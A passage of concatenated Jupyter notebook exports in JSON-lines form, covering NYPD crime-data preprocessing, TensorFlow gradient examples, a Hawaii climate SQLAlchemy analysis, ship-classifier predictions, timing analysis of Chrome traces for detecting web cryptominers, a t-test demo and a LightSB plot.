+\n#https://data.cityofnewyork.us/Public-Safety/NYPD-Complaint-Data-Current-Year-To-Date-/5uac-w243\n# -\n\n# Leemos la base y nos quedamos con columnas relevantes\n\ndata = pd.read_csv('NYPD_Complaint_Data_Historic.csv')\ndata = data[['CMPLNT_FR_DT', 'OFNS_DESC', 'SUSP_AGE_GROUP', 'SUSP_RACE', 'SUSP_SEX',\n 'VIC_AGE_GROUP', 'VIC_RACE', 'VIC_SEX',\n 'Latitude', 'Longitude']]\n\ndata['OFNS_DESC'].unique()\n\nvalues = ['RAPE', 'HARRASSMENT 2', 'KIDNAPPING & RELATED OFFENSES', 'SEX CRIMES',\n 'HOMICIDE-NEGLIGENT,UNCLASSIFIE', 'LOITERING/DEVIATE SEX', 'KIDNAPPING AND RELATED OFFENSES',\n 'KIDNAPPING', 'FELONY SEX CRIMES']\ndata = data[data['OFNS_DESC'].isin(values)]\n\ndata = data[(data['SUSP_SEX'] == 'M') & (data['VIC_SEX'] == 'F')]\n\ndata['geometry'] = data.apply(lambda x: Point(x['Longitude'], x['Latitude']), axis=1)\nbig_crimes = gpd.GeoDataFrame(data, geometry='geometry')\n\nbig_crimes\n\n# +\nbig_crimes['CMPLNT_FR_DT'] = pd.to_datetime(big_crimes['CMPLNT_FR_DT'], errors='coerce')\n\n# Extract the year from each date\nbig_crimes['year'] = big_crimes['CMPLNT_FR_DT'].dt.year\n\n# Plot the histogram\nplt.hist(big_crimes['year'], bins=range(1973, 2024), edgecolor='black')\n\n# Customize the plot\nplt.xlabel('Year')\nplt.ylabel('Count')\nplt.title('Histogram of Crime Notifications by Year')\n# -\n\n# Podemos ver que La gran masa de crimenes la tenemos desde 2010. Dado a el volumend e datos que tenemos, nos quedaremos solo con los datos posteriores al año ___\n\ndata_2022 = big_crimes[big_crimes['year'] >= 2022]\n\nlen(data_2022)\n\n# Podemos ver que Luego de filtrar, solo para el 2022 ya tenemos 33000 datos! \n\n# +\ndata_2022['month'] = data_2022['CMPLNT_FR_DT'].dt.month\n\n# Plot the histogram\nplt.hist(data_2022['month'], bins=range(1, 13), edgecolor='black')\n\nunique_months = sorted(data_2022['month'].unique())\n\n# Plot the histogram\nplt.hist(data_2022['month'], bins=range(1, 14), edgecolor='black')\n\n# Customize the plot\nplt.xlabel('Month')\nplt.ylabel('Count')\nplt.title('Histogram of Crime Notifications by Month')\n\n# Set x-axis tick labels to month names\nmonth_names = pd.date_range(start='2022-01', periods=len(unique_months), freq='M').strftime('%b')\nplt.xticks(unique_months, month_names)\n# -\n\nimport geopandas as gpd \nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom shapely.geometry import Point\n\na = gpd.read_file('datasets/NYPD Complaint Data Current (Year To Date)/nypd_crimes.shp')\n\na.head()\n\na.columns\n\n# ## 2. Filtrado\n\n# ### 2.1 Crimenes desde hombreas a mujeres\n\ndata = a[(a['susp_sex'] == 'M') & (a['vic_sex'] == 'F')]\n\nremove = ['lat_lon_ad','lat_lon_ci','lat_lon_st','lat_lon_zi']\n\nref_data = data.drop(columns=remove)\n\nref_data.drop_duplicates(inplace=True)\n\nref_data['ky_cd']\n\nref_data.to_file(\"crimes_filtered.shp\", driver=\"ESRI Shapefile\")\n\n# ### 2.2 Subconjunto de crimenes que se considerarán violencia de genero\n\n# Olvidamos guardar esta parte, pero el dataset ya está filtrado :)\n\n# ### 2.3 Según fecha de denuncia\n\nuseful_crimes = gpd.read_file('filtered dataset/crimes_filtered.shp')\nuseful_crimes.to_crs('EPSG:4326', inplace=True)\n\n# +\nuseful_crimes['date_cmpln'] = pd.to_datetime(useful_crimes['date_cmpln'])\n\n# Extract the year from each date\nuseful_crimes['year'] = useful_crimes['date_cmpln'].dt.year\n\n# Plot the histogram\nplt.hist(useful_crimes['year'], bins=range(1973, 2024), edgecolor='black')\n\n# Customize the plot\nplt.xlabel('Year')\nplt.ylabel('Count')\nplt.title('Histogram of Crime Notifications by Year')\n\n# -\n\nfech = useful_crimes[['date_cmpln', 'year']]\nfech[fech['year'] <= 2022]\n\n# Dado que solo hay 623 datos antes de 2023, removemos y solo nos quedamos con los de este año.\n\nuseful_crimes = useful_crimes[useful_crimes['year'] == 2023]\n\nuseful_crimes\n\nuseful_crimes.columns\n\nuseful_crimes = useful_crimes[['date_cmpln', 'ofns_desc', 'susp_age_g', 'susp_race',\n 'vic_race', 'susp_sex', 'vic_age_gr', 'longitude', 'latitude',\n 'year', 'month', 'geometry']]\n\n# Teneemos data para todo el año! Desconozco que es lo azul que sobresale de noviembre. Ahora guardamos este gdf\n\ndata_2022.to_file(\"NYPD_violence_against_women.gpkg\", driver=\"GPKG\")\n\ndata_2022\n\ndata = gpd.read_file('NYPD_violence_against_women.gpkg')\n\ndata.plot()\n\n\n","repo_name":"Larraguibel/HeatIslandsWV","sub_path":"preprocess_nypdcrimes.ipynb","file_name":"preprocess_nypdcrimes.ipynb","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"19645191338","text":"import tensorflow as tf\ntf.enable_eager_execution()\n\n# +\nx = tf.ones((2, 2))\nwith tf.GradientTape() as t:\n t.watch(x)\n y = tf.reduce_sum(x)\n z = tf.multiply(y, y)\n \ndz_dx = t.gradient(z, x)\nfor i in [0, 1]:\n for j in [0, 1]:\n print(dz_dx[i][j].numpy())\n\n# +\nx = tf.ones((2, 2))\nwith tf.GradientTape() as t:\n t.watch(x)\n y = tf.reduce_sum(x)\n z = tf.multiply(y, y)\n \ndz_dy = t.gradient(z, y)\nprint(dz_dy.numpy())\n# -\n\nx = tf.constant(3.0)\nwith tf.GradientTape(persistent=True) as t:\n t.watch(x)\n y = x * x\n z = y * y\ndz_dx = t.gradient(z, x)\nprint(dz_dx.numpy())\ndy_dx = t.gradient(y, x)\nprint(dy_dx.numpy())\ndel t\n\n\n# +\ndef f(x, y):\n output = 1.0\n for i in range(y):\n if i > 1 and i < 5:\n output = tf.multiply(output, x)\n return output\n\ndef grad(x, y):\n with tf.GradientTape() as t:\n t.watch(x)\n out = f(x, y)\n return t.gradient(out, x) \n\nx = tf.convert_to_tensor(2.0)\n\nprint(grad(x, 6).numpy())\nprint(grad(x, 5).numpy())\nprint(grad(x, 4).numpy())\n# -\n\n\n","repo_name":"lisuizhe/ml-algorithm","sub_path":"tensorflow/practice/simple/GradientTape.ipynb","file_name":"GradientTape.ipynb","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"5722243787","text":"# %matplotlib inline\nfrom matplotlib import style\nstyle.use('fivethirtyeight')\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nimport numpy as np\nimport pandas as pd\n\nimport datetime as dt\n\n# ### Vacation Dates\n# * The vacation will run from February 12-15 for a four-day long weekend over the President's day holiday in 2021\n\n# # Reflect Tables into SQLAlchemy ORM\n\n# Python SQL toolkit and Object Relational Mapper\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# +\n# reflect an existing database into a new model\nBase = automap_base()\n\n# reflect the tables\nBase.prepare(engine, reflect=True)\n# -\n\n# We can view all of the classes that automap found\nBase.classes.keys()\n\n# Save references to each table\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Create our session (link) from Python to the DB\nsession = Session(engine)\n\n# # Exploratory Climate Analysis\n\n# +\n# determine the columns for each table in database\n\n# first, get the measurement columns\nmeasurement_example = session.query(Measurement).first()\nprint(measurement_example.__dict__)\n\n# next, get the station columns\nstation_example = session.query(Station).first()\nprint(station_example.__dict__)\n\n# +\n# Design a query to retrieve the last 12 months of precipitation data and plot the results\n\n# Calculate the date 1 year ago from the last data point in the database\nfinal_date = session.query(Measurement.date).order_by(Measurement.date.desc())[0]\nfirst_date = session.query(Measurement.date).order_by(Measurement.date.desc())[-1]\nprint(first_date)\nprint(final_date)\nprint(\"The date one year before the final date is 2016-08-23 according the results of the query.\")\n\n# Perform a query to retrieve the data and precipitation scores\nlast_year_precipitation = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= '2016-08-23').all()\n\n# Save the query results as a Pandas DataFrame and set the index to the date column\n# Since there are 2230 values and only 365 dates, we need to aggregate the precipitation\n# values to a measure of center, so we will drop all null values and then get the \n# average precipitation for each date, since it is usually measured by multiple stations\n\n# store in a dataframe\nlast_year_precipitation_df = pd.DataFrame(last_year_precipitation)\n\n# clean data by dropping null values\nlast_year_precipitation_df = last_year_precipitation_df.dropna()\n\n# now change the \"date\" column to the dateteme data type \nlast_year_precipitation_df.date = pd.to_datetime(last_year_precipitation_df.date)\n\n# then group by the date and get the maximum value, which also sets the \"date\"\n# column to the index\nmax_precipitation_df = last_year_precipitation_df.groupby(\"date\").max()\n\n# Sort the dataframe by date - should already be sorted, but just double-check\nmax_precipitation_df = max_precipitation_df.sort_values(by = \"date\")\n\n\n# Use Pandas Plotting with Matplotlib to plot the data\n# max_precipitation_df_plot = max_precipitation_df.copy()\n# max_precipitation_df_plot.index = mdates.date2num(max_precipitation_df_plot.index)\n# print(max_precipitation_df_plot)\n#first, try to get months index value and put them in the x-ticks list\nmonth_index_values = []\nmonth_values = []\nfor i, date in enumerate(max_precipitation_df.index):\n if(date.day == max_precipitation_df.index[0].day):\n month_index_values.append(i)\n month_values.append(date)\n \n# #copy of month_values to be used for the tick locations after the first list is expended for the xtick labels\nmonth_values2 = month_values[:]\n\nprecip_axes = max_precipitation_df.plot(kind=\"bar\", y=\"prcp\", width=1, title=\"Maximum Precipitation (in) vs. Date\", legend=False)\n\nprecip_axes.xaxis.minorTicks = precip_axes.xaxis.majorTicks\nprecip_axes.set_xticklabels([month_values.pop(0).strftime(\"%Y-%m-%d\") for i in range(len(max_precipitation_df.index)) if(i in month_index_values)],\n rotation=40, ha=\"right\")\n\n\n# print(plt.axis()) - used to determine the units for the x-axis, since datetime could not be compared to float!\nprecip_axes.set_xticks([(month_values2.pop(0)-max_precipitation_df.index[0]).days for i in range(len(max_precipitation_df.index)) if(i in month_index_values)])\nprecip_axes.set_xlabel(\"Date\")\nprecip_axes.set_ylabel(\"Maximum Precipitation (in)\")\n\nmax_precipitation_df\n# -\n\n# Use Pandas to calculate the summary statistics for the precipitation data\nmax_precipitation_df.describe()\n\n# Design a query to show how many stations are available in this dataset?\nnum_stations = session.query(Station).distinct(Station.station).group_by(Station.station).count()\nnum_stations\n\n# What are the most active stations? (i.e. what stations have the most rows)?\n# List the stations and the counts in descending order.\nstation_sample_counts = session.query(Station.name, Measurement.station, func.count(Measurement.id)).\\\n filter(Station.station == Measurement.station).\\\n group_by(Measurement.station).order_by(func.count(Measurement.id).desc())\nfor item in station_sample_counts:\n print(item)\n\n# +\n# Using the station id from the previous query, calculate the lowest temperature recorded, \n# highest temperature recorded, and average temperature of the most active station?\n# The answers provided are for all possible dates, initially, with the lowest, highest, and average temperatures for the last \n# year of the dataset are given in the cell below before the histogram\n\nprint(\"The most active station is named 'WAIHEE 837.5, HI US', and has a station id of 'USC00519281'\")\n#first, get all temperature measurements for that station\nall_temps_most_active_station = session.query(Measurement.tobs).filter(Measurement.station == \"USC00519281\").order_by(Measurement.tobs).all()\n\nprint(\"First 10 values:\")\nprint(*[all_temps_most_active_station[a] for a in range(10)])\nprint(\"\")\n\n#check that the count of the Waihee station matches the count given above\nif(len(all_temps_most_active_station)==2772):\n print(\"The count of temperatures measurements for the most active station match the total number of measurements!\")\n print(\"Good work!\")\nelse:\n print(\"The count of temperatures measurements for the most active station DO NOT match the total number of measurements!\")\n print(\"Check your work!\")\n\n# unpack all the tuples that have one values to the same list so that it can be used in calculations directly!\n# first check that all values in the output are length 1:\nif all([len(a)==1 for a in all_temps_most_active_station]): print(\"There are only length 1 tuples in the output array!\") \n\n#so we know there is only one element and can access that element to unpack the output list\nall_temps_most_active_station = [a[0] for a in all_temps_most_active_station]\n\n#the lowest temperature recorded is the minimum of the values, and they are ordered by ascending temperature values\nprint(\"\")\nprint(\"The lowest temperature recorded at this station was {} F\".format(all_temps_most_active_station[0]))\n\n#the highest temperature recorded is the maximum of the values, and they are ordered by ascending temperature values\nprint(\"\")\nprint(\"The highest temperature recorded at this station was {} F\".format(all_temps_most_active_station[-1]))\n\n#to get the overall average temperature of the most active station, find the average of all the values\nprint(\"The average temperature calculated from measurements at this station is {:.1f} F\".\\\n format(sum(all_temps_most_active_station)/len(all_temps_most_active_station)))\n\n#confirm that these calculated values match values given directly from applying functions to the SQLAlchemy queries\nmin_temp_sql = session.query(func.min(Measurement.tobs)).\\\n filter(Measurement.station == \"USC00519281\").order_by(Measurement.tobs).first()\n\nmax_temp_sql = session.query(func.max(Measurement.tobs)).\\\n filter(Measurement.station == \"USC00519281\").order_by(Measurement.tobs).first()\n\navg_temp_sql = session.query(func.avg(Measurement.tobs)).\\\n filter(Measurement.station == \"USC00519281\").order_by(Measurement.tobs).first()\n\nprint(\"-\"*50)\nprint(\"Validating Temperature Results:\")\n\ndef checkResults(result1, result2, calc_type):\n if(result1==result2):\n print(\"The {} temperature of {:.1f} F was validated using a direct computation on a query!\".format(calc_type, result1))\n else:\n print(\"There is likely an error in the minimum temperature computation - the query computation does not match the \"+\n \"previous result.\")\n \ncheckResults(min_temp_sql[0], all_temps_most_active_station[0], \"minimum\")\ncheckResults(max_temp_sql[0], all_temps_most_active_station[-1], \"maximum\")\ncheckResults(avg_temp_sql[0], sum(all_temps_most_active_station)/len(all_temps_most_active_station), \"average\")\n\n# +\n# Choose the station with the highest number of temperature observations.\n# Query the last 12 months of temperature observation data for this station and plot the results as a histogram\nlast_year_temp_for_most_active_station = session.query(Measurement.tobs).filter(Measurement.station == 'USC00519281').\\\n filter(Measurement.date >= '2016-08-23').order_by(Measurement.date).all()\nprint(\"There were {} measurements for the most active station (WAIHEE) in the last year, from 2016-08-23 to 2017-08-23!\"\n .format(len(last_year_temp_for_most_active_station)))\n\nlast_year_df = pd.DataFrame(last_year_temp_for_most_active_station)\n\n#now calculate min, avg, and max temperature for last year's readings at most active station\n\n#the lowest temperature recorded is the minimum of the values\nprint(\"\")\nprint(\"The lowest temperature recorded at this station in the last year of data was {} F\".format(last_year_df[\"tobs\"].min()))\n\n#the highest temperature recorded is the maximum of the values, and they are ordered by ascending temperature values\nprint(\"\")\nprint(\"The highest temperature recorded at this station in the last year of data was {} F\".format(last_year_df[\"tobs\"].max()))\n\n#to get the overall average temperature of the most active station, find the average of all the values\nprint(\"\")\nprint(\"The average temperature calculated from measurements at this station in the last year of data is {:.1f} F\".\\\n format(last_year_df[\"tobs\"].mean()))\n\n\n\nhist_axes = last_year_df.hist(bins=12)[0][0]\n\nhist_axes.set_title(\"Count of Temperature Measurements at WAIHEE station vs. Temperature (F)\")\nhist_axes.set_xlim(55, 85)\nhist_axes.set_xlabel(\"Temperature (F)\")\nhist_axes.set_ylabel(\"Count of Measurements\")\n# -\n\n# ## Bonus Challenge Assignment\n\n# ### Temperature Analysis I\n# * Determine if there is a significant difference in temperature between June and December\n\n# +\nfrom scipy.stats import ttest_ind\n\nall_junes = session.query(Measurement.date, Measurement.tobs).filter(func.strftime(\"%m\", Measurement.date) == \"06\").all()\nall_dec = session.query(Measurement.date, Measurement.tobs).filter(func.strftime(\"%m\", Measurement.date) == \"12\").all()\n\n#get june average temperatures for each year\nall_june_df = pd.DataFrame(all_junes)\nall_june_df = all_june_df.dropna()\nall_june_df.date = pd.to_datetime(all_june_df.date)\nall_june_df[\"year\"] = all_june_df[\"date\"].apply(lambda x: x.year)\njune_avg = all_june_df.groupby(\"year\").mean()\n\n#get december average temperatures for each year\nall_dec_df = pd.DataFrame(all_dec)\nall_dec_df = all_dec_df.dropna()\nall_dec_df.date = pd.to_datetime(all_dec_df.date)\nall_dec_df[\"year\"] = all_dec_df[\"date\"].apply(lambda x: x.year)\ndec_avg = all_dec_df.groupby(\"year\").mean()\n\nprint(june_avg, dec_avg)\nprint(\"\")\n\n#use an unpaired (independent) t-test to determine if the temperature differences are significant\n(t_val, p_val) = ttest_ind(june_avg[\"tobs\"], dec_avg[\"tobs\"])\nif(p_val<0.05):\n print(f\"The unpaired t-test p-value is {p_val} and is less than 0.05, so the results are significant and there is a meaningful difference in the \"+\n \"temperatures between June and December, suggesting some seasonal change.\")\nelse:\n print(f\"The unpaired t-test p-value is {p_val} and is greater than 0.05, so the results are not significant and there is no meaningful difference in the \"+\n \"temperatures between June and December, suggesting no seasonal change.\")\n\n\n# -\n\n# ### Temperature Analysis II\n# * Bar plot of average, min, and max temperatures over vacation date range (02-12 to 02-15)\n\n# +\n# This function called `calc_temps` will accept start date and end date in the format '%Y-%m-%d' \n# and return the minimum, average, and maximum temperatures for that range of dates\ndef calc_temps(start_date, end_date):\n \"\"\"TMIN, TAVG, and TMAX for a list of dates.\n \n Args:\n start_date (string): A date string in the format %Y-%m-%d\n end_date (string): A date string in the format %Y-%m-%d\n \n Returns:\n TMIN, TAVE, and TMAX\n \"\"\"\n \n return session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start_date).filter(Measurement.date <= end_date).all()\n\n# function usage example\nprint(calc_temps('2012-02-28', '2012-03-05'))\n\n# +\n# Use your previous function `calc_temps` to calculate the tmin, tavg, and tmax \n# for your trip using the previous year's data for those same dates.\n\n#pretend trip was 2018 or later, so use the 2017 data as the \"last year\" before the trip\n\n(min_T, avg_T, max_T) = (calc_temps(\"2017-02-12\", \"2017-02-15\")[0])\navg_T_df = pd.DataFrame({\"Temp (F)\":[avg_T]})\nprint(min_T, avg_T, max_T)\navg_T_df\n# -\n\n# Plot the results from your previous query as a bar chart. \n# Use \"Trip Avg Temp\" as your Title\n# Use the average temperature for the y value\n# Use the peak-to-peak (tmax-tmin) value as the y error bar (yerr)\ntemp_axes = avg_T_df.plot(kind=\"bar\", yerr=[[[avg_T-min_T], [max_T-avg_T]]], legend=False, title=\"Trip Avg Temp\")\ntemp_axes.set_ylabel(\"Temp (F)\")\ntemp_axes.set_xticklabels(\"\")\n\n# ### Daily Temperature Average Normals\n# * Shows the daily temperatures during trip duration\n\n# +\n# Calculate the total amount of rainfall per weather station for your trip dates using the previous year's matching dates.\n# Sort this in descending order by precipitation amount and list the station, name, latitude, longitude, and elevation\n\n\n\n# +\n# Create a query that will calculate the daily normals \n# (i.e. the averages for tmin, tmax, and tavg for all historic data matching a specific month and day)\n\ndef daily_normals(date):\n \"\"\"Daily Normals.\n \n Args:\n date (str): A date string in the format '%m-%d'\n \n Returns:\n A list of tuples containing the daily normals, tmin, tavg, and tmax\n \n \"\"\"\n \n sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n return session.query(*sel).filter(func.strftime(\"%m-%d\", Measurement.date) == date).all()\n \ndaily_normals(\"01-01\")\n\n# +\n# calculate the daily normals for your trip\n# push each tuple of calculations into a list called `normals`\n\n# Set the start and end date of the trip\nstart_date = dt.datetime(2017, 2, 12)\nend_date = dt.datetime(2017, 2, 15)\n\n# Use the start and end date to create a range of dates\nchange_day = dt.timedelta(days=1)\ncurr_day = start_date\ntrip_dates = []\nwhile(curr_day <= end_date):\n trip_dates.append(curr_day)\n curr_day += change_day\n\n# Strip off the year and save a list of %m-%d strings\nstripped_trip_dates = list(map(lambda x: x.strftime(\"%m-%d\"), trip_dates))\n\n# Loop through the list of %m-%d strings and calculate the normals for each date\nnormals = [daily_normals(day)[0] for day in stripped_trip_dates]\nnormals\n# -\n\n# Load the previous query results into a Pandas DataFrame and add the `trip_dates` range as the `date` index\nnormals_results = pd.DataFrame({\"Min Temp (F)\":[a[0] for a in normals],\n \"Avg Temp (F)\":[a[1] for a in normals],\n \"Max Temp (F)\":[a[2] for a in normals]}, index=trip_dates)\nnormals_results\n\n# Plot the daily normals as an area plot with `stacked=False`\nnormals_axes = normals_results.plot(kind=\"area\", stacked=False, title=\"Daily Temperature During Trip\")\nnormals_axes.set_ylabel(\"Temperature (F)\")\nnormals_axes.set_xlabel(\"Date\")\nnormals_axes.set_ylim(top=85)\n\n\n","repo_name":"Gendo90/sqlalchemy-challenge","sub_path":"climate_starter.ipynb","file_name":"climate_starter.ipynb","file_ext":"py","file_size_in_byte":16400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"35872549178","text":"# This notebook is to get the model predictions for the ships classifier and save it to a csv. The csv includes the embeddings and image URLs. Remember to launch a web server from the data directories\n\n# +\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nimport numpy as np\nimport pandas as pd\nfrom tensorflow.python.ops.numpy_ops import np_config\n\nnp_config.enable_numpy_behavior()\n\n# +\nmodel = tf.keras.models.load_model(\"/home/vishesh/Desktop/datasets/ships-data/Xception-10-0.74.hdf5\", compile=False)\nmodel.compile(optimizer=tfa.optimizers.RectifiedAdam(), loss='categorical_crossentropy')\n\nfeature_extractor = tf.keras.models.Model(inputs=model.input, outputs=model.get_layer('dense_1').output)\n\n# +\n# input_data_path = \"/home/vishesh/Desktop/datasets/ships-data/X_true_val_240_320/1.npy\"\nperturbation = \"shot_noise\"\nseverity = 10\ninput_data_path = f\"/home/vishesh/Desktop/datasets/ships-data/perturbed_test/varying/{perturbation}/{severity}/1.npy\"\nground_truth_path = \"/home/vishesh/Desktop/datasets/ships-data/Y_true_val_240_320/1.npy\"\n\ninput_data = np.load(input_data_path)\nground_truth = np.load(ground_truth_path)\n# -\n\nurls = [f\"http://localhost:8082/{perturbation}/{severity}/img{i}.png\" for i in range(1, input_data.shape[0]+1)]\n\npreds = np.argmax(model.predict(input_data, batch_size=10), axis=1)\nfeatures = feature_extractor.predict(input_data, batch_size=10)\n\n# +\ndata_dict = {'url': urls, 'embeddings':features.tolist(), 'predicted': preds, 'actual': ground_truth}\ndf = pd.DataFrame(data_dict)\n\ndf.head(10)\n# -\n\ndf.to_csv(f\"/home/vishesh/Desktop/datasets/ships-data/{perturbation}_{severity}_val.csv\") \n\n\n\n\n\nperturbation = \"shot_noise\"\nfor severity in range(1,11):\n input_data_path = f\"/home/vishesh/Desktop/datasets/ships-data/perturbed_test/varying/{perturbation}/{severity}/1.npy\"\n ground_truth_path = \"/home/vishesh/Desktop/datasets/ships-data/Y_true_val_240_320/1.npy\"\n\n input_data = np.load(input_data_path)\n ground_truth = np.load(ground_truth_path)\n\n preds = np.argmax(model.predict(input_data, batch_size=10), axis=1)\n acc = preds[preds == ground_truth].shape[0]/ ground_truth.shape[0]\n print(f\"Acc for sev {severity} is {acc}\")\n\n\n","repo_name":"DinoHub/extreme-rob","sub_path":"phoenix/model_preds.ipynb","file_name":"model_preds.ipynb","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"70312457646","text":"# + deletable=true editable=true\nfrom collections import Counter\nimport json\n\n\n# + deletable=true editable=true\ndef print_counter_top(ct, N):\n ans = sorted(ct.items(), key=lambda x:x[1], reverse=True)\n for k, v in ans[:N]:\n print(v, k)\n\n\n# + deletable=true editable=true\ndef analyze(fname, N_top_result=5, verbose=False):\n vprint = print if verbose else lambda *_,**__: None\n \n with open(fname) as f:\n raw = json.load(f)\n\n # Find all JS function calls\n fcalls = [x for x in raw if x['name'] == 'FunctionCall']\n fcalls_by_ids = {}\n for c in fcalls:\n key = '{}-{}'.format(c['pid'], c['tid'])\n fcalls_by_ids.setdefault(key, []).append(c)\n\n for k, v in fcalls_by_ids.items():\n # See https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview\n # It mentioned how Duration Events work.\n # But it never confirmed that 'FunctionCall' events do not nest when pid&tid do not change\n # This confirms that they do not nest\n vprint('Checking sanity of', k)\n assert('BB' not in ''.join(x['ph'] for x in v))\n assert('EE' not in ''.join(x['ph'] for x in v))\n if v[0]['ph'] =='B':\n assert ''.join(x['ph'] for x in v[:2*(len(v)//2)]) == 'BE' * (len(v)//2)\n if v[0]['ph'] =='E':\n assert ''.join(x['ph'] for x in v[1:2*(len(v)//2 + 1) - 1]) == 'BE' * (len(v)//2)\n vprint(' + this thread checks out')\n if len(v) %2 != 0:\n vprint(' * remaining event: ', v[-1]['ph'])\n vprint('OK')\n\n # Aggregate info about JS Function calls\n callFrames = Counter()\n callFunctionNames = Counter()\n callURLs = Counter()\n\n for k, v in fcalls_by_ids.items(): \n if v[0]['ph'] == 'E':\n assert v[1]['ph'] == 'B'\n v = v[1:]\n bs = [x for i, x in enumerate(v) if i % 2 == 0]\n es = [x for i, x in enumerate(v) if i % 2 != 0]\n for b, e in zip(bs, es):\n assert b['ph'] == 'B'\n assert e['ph'] == 'E'\n info = b.get('args', {}).get('data', {})\n info2 = e.get('args', {}).get('data', {})\n assert info.get('functionName') == info2.get('functionName') \\\n or (not info2.get('functionName'))\n info.update(info2)\n duration = e.get('tts') - b.get('tts')\n if not info: continue\n if type(duration) is not int: continue\n callFrames[info.get('frame')] += duration / 1e6\n callFunctionNames[info.get('functionName')] += duration / 1e6\n callURLs[info.get('url')] += duration / 1e6\n\n # # ! callFrames may be major indicator: If 'None' frame uses too much time, it's usual.\n print('----- call frames -----')\n print_counter_top(callFrames, N=N_top_result)\n print('----- func names -----')\n print_counter_top(callFunctionNames, N=N_top_result)\n print('----- called urls -----')\n print_counter_top(callURLs, N=N_top_result)\n\n\n# +\n\nwith open('./google-news1-tracing.json') as f:\n raw = json.load(f)\nraw[-1]\n\n# + deletable=true editable=true\nanalyze('./miner1-tracing.json')\n\n# + deletable=true editable=true\nanalyze('./miner2-tracing.json')\n\n# + deletable=true editable=true\n# Youtube can be told apart from miners by looking at callFrame[None]\nanalyze('./youtube1-tracing.json')\n\n# + deletable=true editable=true\n# this is a weird site. Most computation goes to an unamed JS function\n# But it's not running anything on callFrame[None]\n# Also, urls \nanalyze('./news-with-ads1-tracing.json')\n\n# + deletable=true editable=true\nanalyze('./realtime-apps1-tracing.json')\n\n# + deletable=true editable=true\n\n# -\n\n\n","repo_name":"uiucseclab/webminer-detector","sub_path":"scanner/Analysis1.ipynb","file_name":"Analysis1.ipynb","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"42380076122","text":"# A two-sample t-test investigates whether the means of two independent data samples differ from one another. In a two-sample test, the null hypothesis is that the means of both groups are the same. Unlike the one sample-test where we test against a known population parameter, the two sample test only involves sample means. You can conduct a two-sample t-test by passing with the stats.ttest_ind() function. Let's generate a sample of voter age data for Wisconsin and test it against the sample we made earlier:\n\n# +\n# %matplotlib inline\n\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\nimport math\n\n# +\nnp.random.seed(12)\nwisconsin_ages1 = stats.poisson.rvs(loc=18, mu=33, size=30) # mu is the mean of the function.\nwisconsin_ages2 = stats.poisson.rvs(loc=18, mu=13, size=20)\nwisconsin_ages = np.concatenate((wisconsin_ages1, wisconsin_ages2))\n\nprint( wisconsin_ages.mean() )\n\n# +\nnp.random.seed(6)\n\npopulation_ages1 = stats.poisson.rvs(loc=18, mu=35, size=150000)\npopulation_ages2 = stats.poisson.rvs(loc=18, mu=10, size=100000)\npopulation_ages = np.concatenate((population_ages1, population_ages2))\n\nminnesota_ages1 = stats.poisson.rvs(loc=18, mu=30, size=30)\nminnesota_ages2 = stats.poisson.rvs(loc=18, mu=10, size=20)\nminnesota_ages = np.concatenate((minnesota_ages1, minnesota_ages2))\n\nprint( minnesota_ages.mean() )\n# -\n\nstats.ttest_ind(a= minnesota_ages,\n b= wisconsin_ages,\n equal_var=False) #Assume samples have equal variance?\n\n# The test yields a p-value of 0.0907, which means there is a 9% chance we'd see sample data this far apart if the two groups tested are actually identical. If we were using a 95% confidence level we would fail to reject the null hypothesis, since the p-value is greater than the corresponding significance level of 5%.\n","repo_name":"mostofashonju/Sample-T-Test","sub_path":"Two Sample T-test.ipynb","file_name":"Two Sample T-test.ipynb","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"35783752369","text":"# +\nimport os, sys\nsys.path.append(\"..\")\n\nimport torch\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom src.light_sb import LightSB\nfrom src.distributions import StandardNormalSampler, SwissRollSampler\n\n# +\nmodels = []\n\nfor eps in [0.002]:\n EXP_NAME = f'LightSB_Swiss_Roll_EPSILON_{eps}'\n OUTPUT_PATH = '../checkpoints/{}'.format(EXP_NAME)\n\n D = LightSB(dim=2, n_potentials=500, epsilon=eps,\n sampling_batch_size=128, is_diagonal=True)\n\n D.load_state_dict(torch.load(os.path.join(OUTPUT_PATH, f'D.pt')))\n \n models.append(D)\n# -\n\nX_sampler = StandardNormalSampler(dim=2, device=\"cpu\")\nY_sampler = SwissRollSampler(dim=2, device=\"cpu\")\n\n# +\nSEED = 12\n\ntorch.manual_seed(SEED); np.random.seed(SEED)\n\nfig, axes = plt.subplots(1, 4, figsize=(15, 3.75), dpi=200)\n\nfor ax in axes:\n ax.grid(zorder=-20)\n\nx_samples = X_sampler.sample(2048)\ny_samples = Y_sampler.sample(2048)\ntr_samples = torch.tensor([[0.0, 0.0], [1.75, -1.75], [-1.5, 1.5], [2, 2]])\n\ntr_samples = tr_samples[None].repeat(3, 1, 1).reshape(12, 2)\n\naxes[0].scatter(x_samples[:, 0], x_samples[:, 1], 